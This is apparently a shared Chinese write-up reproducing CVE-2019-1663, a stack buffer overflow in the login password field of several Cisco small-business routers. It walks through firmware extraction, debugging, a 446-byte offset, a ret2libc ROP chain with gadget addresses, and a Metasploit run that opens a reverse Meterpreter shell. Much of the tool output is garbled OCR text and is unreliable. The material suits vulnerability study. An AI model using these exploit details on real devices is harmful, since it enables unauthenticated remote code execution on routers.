(CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx

上传人:李司机 文档编号:6068794 上传时间:2023-09-19 格式:DOCX 页数:13 大小:202.64KB
返回 下载 相关 举报
(CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx_第1页
第1页 / 共13页
(CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx_第2页
第2页 / 共13页
(CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx_第3页
第3页 / 共13页
(CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx_第4页
第4页 / 共13页
(CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx_第5页
第5页 / 共13页
点击查看更多>>
资源描述

《(CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx》由会员分享,可在线阅读,更多相关《(CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx(13页珍藏版)》请在三一办公上搜索。

1、(CVE-2019-1663)堆栈缓冲区溢出漏洞一、漏洞简介CVE-2019-1663是一个影响Cisco的多个低端设备的堆栈缓冲区,由于管理界面没 有对登录表单的pwd字段进行严格的过滤,底层在处理请求时,Strcpy函数导致 堆栈溢出,未经身份验证的远程攻击者可以在设备上执行任意代码二、漏洞影响Cisco RVllOW 1.2.1.7 Cisco RV130RV130W 1.0.3.45 Cisco RV215W 1.3.0.8三、复现过程OxOl固件提取这里我使用时Cisco RV130W 1.0.3.44进行测试的,binwalk对固件进行提取可以看出文件系统是SqUaShfS,并且是

2、小端存储方式,得到一个类Linux目录totnwrcIbtn dm IH 2, 6t , , 81, -a 8lw? t-a-, H一, tner IMe , nta-. Ctcr f f, 1 , bl”, KU ,八S file ru file HW n nu file me ftle Hie file ru ftu n ftl TUe file m file nu “ n n nuSLdCwtcM sbi*rc tcheSytn/O0mssl 2td wrtbtnrp Rtch* v*lntrtRH Mtcht ur/btn/tftM Mtch wtrsbntfcH zths usrsb

3、lwebroot matches Sfes7gnJf J 5C 33GWH3PS watches KCJs7tk7y Atche usr*btndhcllet tches vt fMtct wittincurl *41cM usrtetnjsorte Fetches usrsbtnl2tM Mtches usr/sbln/cal natchsU“八IwIIXSso4.1, Mtchs Msryltb八tbuq.l.d fetches vfrtbUbn*tMp.so.lS Mtchs w*rllbltbcry*to.*o.t. ZtCh, uftlbUttl.M. 11. *4tce U“八tb

4、八tbZ,M.s。Atcs VSf ltb 4r. tc RAtMS (ttn) any later versto. See .Z2 - :w.wes*n85 ”r ”“I 1”J根据之前分析的多个嵌入式设备的经验,猜测这个可能就是处理http请求的底层 文件0x03漏洞分析对Web登录界面的Iogin.cgi发送如下的PC)ST请求POST /login.Cgi HTTP/1.1Host: 10.10.10.2User-Agent: Mozilla/5.0 (Xll; Linux x86_64; rv:60.0) Gecko/20100101 Fir efox/60.0Accept: tex

5、thtmljapplicationxhtml+xml,applicationmljq=0.9j*jq=0.8Accept-Language: en-US,enjq=0.5Accept-Encoding: gzip, deflateReferer: https:/10.10.10.2/Content-Type: application/x-www-form-urlencodedContent-Length: 137Connection: closeUpgrade-Insecure-Requests: 1submit_button=login&submit_type=&gui_action=&wa

6、it_time=0&change_action= &enc=l&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&Se1_1ang=EN这里向pwd发送32字节的值,对登录界面的http处理请求在IDA中的是 sub.2C614Q,地址是 0x0002C614vl3 atoi(vl2);sprintf(v67j w%d,j + 1);nvram_set(wdefault_loginM &byte_899D8);vl4 = sub_lD170(int)MuserM);if ( ! vl4)vl5 =v36 = (char r)vl4;if ( !vl

7、4 )v36 V15;vl6 = sub-lD17e(int)pwd);IVR7 = (char X)VI6;if ( Ivl6 )vl7 =;if ( !vl6 )v37 = vl7;nptr = (char *)sub-lD170(int)enc);if ( Inptr )nptr = (char *)&word 89A4C;if ( !post )SUbjLCFB4(35);v25 sub_lD170(int)MuserM);if ( !v25i)v26 = mh;v36 = (char *)v25;if ( Iv25 )v36 v26;v27 = sub-lD170( ( int) ,

8、pwd m );37 = (char *);if ( !v27 )v28 =,;if ( !v27 )v37 = v28;nptr = (char )sub_lD170(int)encM);if ( !nptr )nptr = (char )&word_89A4C;函数将POST请求的参数进行解析,存储到.bss段 OGeAea7 DC8 0x69 ; ie .bssA9C18 DCB GxbF , Oa .bA8(19 DCB 6E ; n bss:e(MA8ClADCB* * bsszA8(lBDCB,.bss(XMA81l AEnjl DCB eence,e bss 0A3(20 al_

9、l DCB .广,0e Lbss:eoeA8C22 MBOCB wuserw,0,I btrS:eoeAM27 KiscowI DCB cisco,ejnPwd DCB pwd,eF831e5dll99e4_l DCB aAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwtO# I bs; (KK巾; aSelLang- D(B sel-lang,bss OA8CS8aEn-DCB EN,0# i bsseA8(5eDCB# .bs0eA8C5FDCB# LbeeeaAaceeOCBe然后,将PWd参数的值从.bss段中提取,调用StrCPy将值存到动态分配的内存中“xt:Me

10、K2S8text:WX2M IoCgSt txtcMeX2M KNm, K9CeXt eWX 25( MOV t7CeXtMeX264 text :MeX264 Ioc 2064text eK2M LM tmx冰 LCM tcvtreeK27 CHP tt M9X274 BNf teMtMejs text Mex27S Ioc. textM27S tw* MMX77S mu. I63*1. (U)l set architecture arm 确定要调试的是arm架构gef set follow-fork-mode child 确定调试的进程gef set solib-search-path h

11、omeclbliotfirmware/cisco/_RV130.bin.ext ractedsquashfs-rootlib 加载要用到的 lib 文件gef file /home/clb/liot/firmware/cisco/_RV130.bin.extracted/squashfs-r oot/usr/sbin/httpd 加载调试文件gef target remote 10.10.10.2:1234 与远程建立连接已经建立调试连接,可以进行调试了查找溢出的位置,使用pattern生成512个字符串gef patter create 512+ Generating a pattern o

12、f 512 bytesaaaabaaacaaadaaaeaaafaaagaaahaaaiaaaJaaakaaalaaamaaanaaaoaaapaaaqaaaraa asaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabka ablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacd aaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaac V

13、aacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaa doaadpaadqaadraadsaadtaaduaadvaadwaadaadyaadzaaebaaecaaedaaeeaaefaaega aehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaeaaey aaezaafbaafcaaf+ Saved as $_gef0,通过curl发送POST请求查找溢出的位置gef A cContinuing.Program receive

14、d signal SIGSEGVj Segmentation fault.0616d6560 in ?()通过pattern确定溢出的大小gef pattern search 0x616d6561+ Searching ,0616d6561,+ Found at offset 446 (little-endian search) likely 我们可以确定要进行填充的字符串是有446个字节这里使用Ret2Libc进行利用。ret21ibc这种攻击方式主要是针对动态链接 (Dynamiclinking)编译的程序,因为正常情况下是无法在程序中找到像 system() execve()这种系统级函

15、数(如果程序中直接包含了这种函数就可以直接 控制返回地址指向他们,而不用通过这种麻烦的方式)。因为程序是动态链接生成 的,所以在程序运行时会调用IibeS。(程序被装载时,动态链接器会将程序所有所 需的动态链接库加载至进程空间,Iibcso就是其中最基本的一个),Iibcso是 Iinux下C语言库中的运行库glibc的动态链接版,并且libc.so中包含了大量的可 以利用的函数,包括SyStem()、exeeve。等系统级函数,我们可以通过找到这些 函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们 会选择执行SyStemCbinsh)来打开shell。这里我们使用Vm

16、maP查看调用的 Iib文件有哪些9ef vnnape086 oae O96oeeo99ee 0xeeea90 OxeeebbeeeQxeeoooeea e9eo Oxeeeeeeeer-x rw rw-usrsbthttpd usrsbthttpdOxO39ae o76bebooe 76bboee 6x76Cebeee 6x76ClS0e ex76cicoeo e76cide 76cifeee 0x76c260e 0x76c2700e6oe39ceee 076b8b0 0x76c0b00e x76clSe ex76clc e7cidoeo “76Clfeee 0x76c2666 ex7C27

17、O6Oxeeooeeee Gxeeooeeeo oeooeoeeo Oxeeooeeee dxeeooeeeo oxeeoo9eo oxeoooeeeo Oxeeoeoeeo OxeeooieeeFW-Xo76c2eoe oxeooooeeo“76c28eee ox7ec8soee ”eeeeeeee rx76c85O ex76cdoee 0x76ce00 6x76c8fe 0x76c94ee e76dfioee 0x76df6 ”76Wee ex76eefeeo 0x76e66 x76e6e x7674ee 76e7soee x76e7dM Ox76e7eee 6x76e990 076eal

18、ee 6x76ea26 6x76RfCeee o76te4oee ex76fa e76fi3ee ex76fiaoeo 6x76f2100e 6x76f22e x76f2ae Ox76f35e ex76f36W6 ex76f37e le7e8bso Oxfftfooeox76c8deo Oxeeoeeeoo6x76c8eeee 07c8feee x76c94e ex76dfeee ex76df8oe o76e6deee 0x76eefM0 Ox76e66O 076e6e0e 0x76e7406 ex76e75oee 0x76e7d660 0x76e7eeOxeoosdeeo Oxeeeseeo

19、e x6oe Oxeeeeoeeo xooeeo Oxeoisceeo eooeeo Oxeoooeoee eeoeeo exee57e Oxeeeooeeo oxoeooeeoo Oxeeooieoe6x76e99e 0x66000060x76eaieeo 0x76e2ee ex76efcM 6x76f4eee ex76toaeoe 0x76f13060 0x76fiaeee x76f2160 Ox76f22OOO 0x76f2ae 6x76f2f 0x76f36006 6x76f37e ex76f38eeOxeeeooeeo Oxeeoibeeo 0x6060 xeeoeeo o5aeo

20、eeoo Oxeeeooeeo xoooeo 0x00006660 xeo eee exeeooeeeo OxeeeMeee Oxeeeeseeoex7e936ee Oxeooooeeo Oxffffieee eoGeheapssvooeoa457 (deleted)ssvoeeee457 (deleted)ltbltbgcc-s.so.1ltbltbgcc-s.so.1 八tb八tbdlWo6ltbltbdl.so.0 ltbllbc.so.6Ubltbc.so.e 八Ib八lbc.soeW- W -XW-Xrw- r-xW-Xrw- rw- rxW- rw- rx rw-rw rw Xus

21、rltbltbcrypto. so.1.Ousrltbltbcrypto.so10O/usr/ltb/ltbssl.so.i.o.eusrttbltbsslso.l00 usrlbltbrguea.sousrliblibrogueap.so usrltbltbcbt. sousrltbltbcbt.sousrltbltbshared.sousrltbltbshared.sousrltbItbnvran.sousrltbltbnvrn. soltbld-uCltbc.so.0八Ib八d-uCltbcso.e /1, tb Id-UCltbc. so. 6 stack vectors注:由于是在模

22、拟器中查找的Iib文件的起始地址,所以和在真机中的地址可能不 太一样这里我们选择具有执行权限的libc.so.0文件,使用radare2对libc.so.0文件进行搜 索system函数Use A-r皿I 04bc0 0*0eM4 M4d144三三三3r- wrltreg M 2r 2C9mrfcU tm/4 -lttftrRMfcUe.BV1M.n.trf*4MMMt-fo*tU . rg2 -a UX s. Analy* all fl9 t*fting with in. M ttry ()Aniy rtlx C4llS (K) An*ly Ien bytes of tnstrvcton f

23、or references (m) CMCG for bjc rfrc Check for VtabIeSFtMl9 / l nond xtloc tth 1 . 1-o z” Anlyx value tnters (v) m f g8M88 CO B35Z (Mv) 0mM4M tCr*c in K fc (MV) C),uUt cod* to find oMpuiy refrttts m) Typr natcxn Mlysts for all fvttoos (Mft) 0roMt f*ortvrn t*rrron or Iaaa to PefforK *ddlttonl expermft

24、t*l analysts. .9.7 If SO 3% F rMfrtht Cltc . M. e *M ,y (wctr这时我们已经知道了一些关键的地址,那么这个时候我们就需要构造一个ROP链, 来实现地址的跳转 这里使用了一款工具ROPPer,因为我们存储的位置位于堆栈,所以查找跟堆栈有 关的指针SPX“e ROM ri h Se4rcU fr QttQets: ov r. sp三* X* f* t C ( r e P P P P %.:二 t 1 C f :WYr4fsF55rmml1olpP.M.P.P.P.P.H.%P.P.三m三三三三 eevp.p.p.%*4i%4;4;si6:4

25、2$4JbT4T;?lxM *rr/ ,:, rrr ”ZM62 AC-rereBrrerlmfere : p.p.fxM三三T; aOv三1 slRRmRRmRbbRRWR t :热盘:弋NKi l;$;eb*bmelbebBbeat0,r.Br”“ ” ssssssHJswb/ppp.P.P;*pppPoPPPPP.P:P:PPPP0P:DPPPPPPP Issssfssx svsss*sfs*slslssstHier这里我选择了 OXoOO41308的指令,因为这里有一个关于指令跳转的指令BLX,如 果r2存的值是SyStem的地址,那么我们就能跳到SyStem处,执行系统命令了, 并且

26、由于我们的值都存在栈中,所以我们就需要查找和popfr2有关的指令se; bM Ir;:NP 3). bx Ir. ,u*h ri. 1,). ROV rA,8: bl *dbM; F rl. pc);在ARM指令集下我们发现两个对r2的操作,但是后面还跟着别的指令,如果我 们使用了某一个,那么我们还得继续寻找能够完整构造Payk)ad的指令。由于 ARM除了有ARM指令外,还有一个Thumb指令集,这个指令是ARM指令集的 一个子集,但是在某些方面比ARM指令集要更有效,我们切换指令集去这里看看 符合我们要求的指令rcM MWTXMIM4 Ht .心 cMUCqionmwH 4mW dHtt

27、. )M serc oe iflSercktM 2 *t :(m ( 这里我们找到了没有其他指令参与并且堆栈操作十分符合我们要求的指令,下面就 是我们构造的堆栈的排列方式Rvt Y. r; tal rl rtf 9*bW; w bw *2 r 8tr r4f Ira rT nortpop (r2 r6. pc)targetlrr8rlr9system addressIBLsystemr2rlr3rlluseless valuer4rl2r5rl3mov r1 sp:blx r2target2rl4r7rl5首先排布的是targetl,这条指令就是对栈就行弹出的操作,首先将SyStem的地址 弹

28、出到r2,然后后面无用的地址弹出到r6,最后将target2的地址弹出到rl5中, 并且rl5中存储的还是正在取指的地址。紧接着执行rl5所指向的地址,首先将 SP的地址存储到r中,然后执行blx跳转指令并且切换指令集,并且跳转到r2 的地址,也就是SyStem的地址,那么这时候就成功执行SyStem函数,到此整个 ROP链也就执行完毕0x04漏洞复现这里我们利用的是exploit-db上的expU *UM UlttUMttM3M SttVrateMA Ra CZs f swt/ Ete trrtlt*WIVMOiT ETW local mt t IlBtM -i TM mnt to - Mr

29、1m bt .1awt0BEfM lMl r IQ八” fStrWnoMvsscctwMh CMtM H ctrttn *t, Me f tM UU VHMfMwnt Wfwr VtrtMl htt,(lVMrMwtr9retrArevvrwetcp):MflW Correfit 5tl Bvtnlr4 eettmf - yetZ HMe re(8 Urfe F to WetfIMBT 4444yM tute Hrtft:S CtWBM : eolo (1t.,4134b) e*DlotIneterDreter a meInterface 15Interface 16:4444Started

30、reverse TCF handler(? Sending request1 Using URL: http: Q,O,Q.O:8080 M3IzSTYon( Locl : hp? (. Client( Sending payload tot800N3!2STpn(Het) Requested H3IzSTYpn(Wget)4444 Mettrpreter session 3 openfl( t 2O19-OS-I8 07:06:52 *0000( Reloading httpd service ( Cooaand Stager progress - 100.00% done (116/116

31、 bytes) Servr Stoppedt:UJlO.2MTUF lagsName Hardware MTU F lags:1500:UP,BROADCAST,MULTICAST:QilO.3:1500:UP,BROADCAST,MULTICAST:vla2Name Hardware Htu F lags1260:UP,BROADCAST,MULTICASTIPv4 Address :成功执行ifconflg命令IPv4 Netmask :0x05 exp脚本分析Cisco RV136RV13W,offset* Itbjbasejddr ,systen-offset ,gadgetl, ,g

32、adget2, ,Arch, tDefaultOpttons, ,PAYLOAD, 446, 0x357fbe06f Ox66e4dl440 0x020e79, * pop r2f r6, pc); 6x06041368, # mov r, sp; bl r2; ARCH-AMLE,B ( ,ltnuxarRleReterpreter-reverse-tcp,这里存储就是偏移地址,libc.base的地址,system的偏移地址,gadgetl的偏移 地址,gadget2的偏移地址,这些地址就是真机中真正的偏移地址M tAff9ttpJ trrtt( : I.WI-IUetf - *W.tet

33、.lHef(i tBBwiM,W1vaMibM4j r(trrt( - : h *) Mr*t( ” fwt ) l.tm.Uk(.|) Htertalt- brHB( ?. .t-Ilcotv9ee中 1 Wl trv Hto41U-,- m ifM3(、,)川 E|。23 . urtf ,MHtl) .Q*rMJ Wx teFHK,一.se m) El Mx - 3 1 SKlAxbD 1AlUe这里就是根据不同的target生成不同的payload这里就是我们对MSf生成的payload进行输出,可以看到被攻击的设备下载了可 以在ARM平台进行回来的文件,并给与权限并执行,最终创建一个Sheil参考链接Cisco%E7%9A%84%E5%A4%9A%E4%B8%AA%E4%BD%8E%E7%AB% AF%E8%AE%BE%E5%A4%87%E7%9A%84%E5%A0%86%E6%A0%88 %E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA% E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 生活休闲 > 在线阅读


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号